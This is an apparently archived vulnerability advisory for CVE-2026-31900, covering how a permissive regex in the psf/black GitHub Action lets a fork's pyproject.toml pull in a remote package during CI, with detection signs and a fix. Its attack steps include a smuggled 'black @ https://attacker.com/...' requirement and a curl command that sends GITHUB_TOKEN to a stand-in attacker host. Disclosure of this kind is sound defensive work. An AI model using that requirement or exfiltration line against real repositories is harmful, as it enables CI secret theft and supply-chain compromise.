psf/black GitHub Action RCE via Insecure Regex Version Validation — CVE-2026-31900
by Batosay1337Lab · 2026-07-05
- Severity
- High
- CVE
- CVE-2026-31900 (GHSA-v53h-f6m7-xcgm)
- Category
- misc
- Affected product
- psf/black GitHub Action
- Affected versions
- < v26.3.0 (when using the use_pyproject: true option)
- Disclosed
- 2026-07-05
- Patch status
- patched
Archive entry
intelseclab/poc-archiveMetadata
| Field | Value |
|---|---|
| Date Added | 2026-07-05 |
| Last Updated | 2026-04 |
| Author / Researcher | Batosay1337Lab |
| CVE / Advisory | CVE-2026-31900 (GHSA-v53h-f6m7-xcgm) |
| Category | misc |
| Severity | High |
| CVSS Score | 8.7 (High) |
| Status | PoC |
| Tags | github-actions, supply-chain, rce, regex, pep508, ci-cd, secrets-theft, psf-black |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | psf/black GitHub Action |
| Versions Affected | < v26.3.0 (when using the use_pyproject: true option) |
| Language / Platform | GitHub Actions YAML, Python (pip/setuptools) |
| Authentication Required | No (attacker only needs to open a pull request against a repository using the vulnerable Action configuration) |
| Network Access Required | Yes |
Summary
The psf/black GitHub Action’s use_pyproject: true option reads the Black version to install from the repository’s pyproject.toml. The regex used to validate that version string (^black([^A-Z0-9.\_-]+.*)$ with re.IGNORECASE) is overly permissive, allowing characters such as space, @, :, and / — exactly what is needed to express a PEP 508 direct-URL requirement. An attacker who can influence pyproject.toml (e.g. via a pull request from a fork) can specify black @ https://attacker.com/malicious_black.tar.gz as the “version,” causing the Action’s pip install step to fetch and run an attacker-controlled package’s setup.py during the pull_request-triggered CI run, exfiltrating GITHUB_TOKEN and other workflow secrets.
Vulnerability Details
Root Cause
The version-validation regex BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9.\_-]+.*)$", re.IGNORECASE) used when use_pyproject: true is set fails to restrict the characters that can follow black, permitting a full PEP 508 URL-based requirement specifier to pass validation instead of only a version number.
Attack Vector
- Attacker forks the target repository (one using the
psf/blackAction withuse_pyproject: true). - Attacker modifies
pyproject.tomlin their fork, setting the Black dependency toblack @ https://attacker.com/malicious_black.tar.gz. - Attacker opens a Pull Request against the upstream repository, triggering the
pull_requestworkflow. - The Action reads the malicious “version” string from
pyproject.toml; the overly permissive regex accepts it. pip installfetches the attacker-hosted package and executes itssetup.pyduring installation (e.g.os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")), running arbitrary code in the CI runner with access toGITHUB_TOKENand any other injected secrets.
Impact
Arbitrary code execution inside the CI runner triggered by a pull request from any external contributor, leading to theft of the CI job’s GITHUB_TOKEN and any other secrets exposed to the workflow — a supply-chain compromise vector against any repository using the vulnerable Action configuration.
Environment / Lab Setup
Target: A GitHub repository using the psf/black Action with `use_pyproject: true` (< v26.3.0)
Attacker: A GitHub account able to fork the repository and open a pull request
Proof of Concept
PoC Script
See
.github/workflows/black.yml,pyproject.toml, andapp.pyin this folder.
| |
The lab repository’s black.yml workflow demonstrates the vulnerable use_pyproject: true configuration; pyproject.toml and app.py represent the legitimate baseline configuration that an attacker’s fork would modify to smuggle a malicious PEP 508 URL dependency.
Detection & Indicators of Compromise
Signs of compromise:
- CI logs showing
pip installresolvingblackto an external URL instead of PyPI - Outbound network requests from CI runners to unfamiliar domains during a
blackformatting step - Unexpected use/exposure of
GITHUB_TOKENshortly after a pull request from an unfamiliar contributor
Remediation
| Action | Detail |
|---|---|
| Primary fix | Upgrade to psf/black GitHub Action v26.3.0 or later |
| Interim mitigation | Avoid use_pyproject: true; pin the Black version explicitly in the workflow YAML instead of reading it from repository-controlled pyproject.toml, and restrict secrets available to pull_request-triggered workflows from forks |
References
Notes
Mirrored from https://github.com/Batosay1337Lab/cve-2026-31900-lab on 2026-07-05.
| |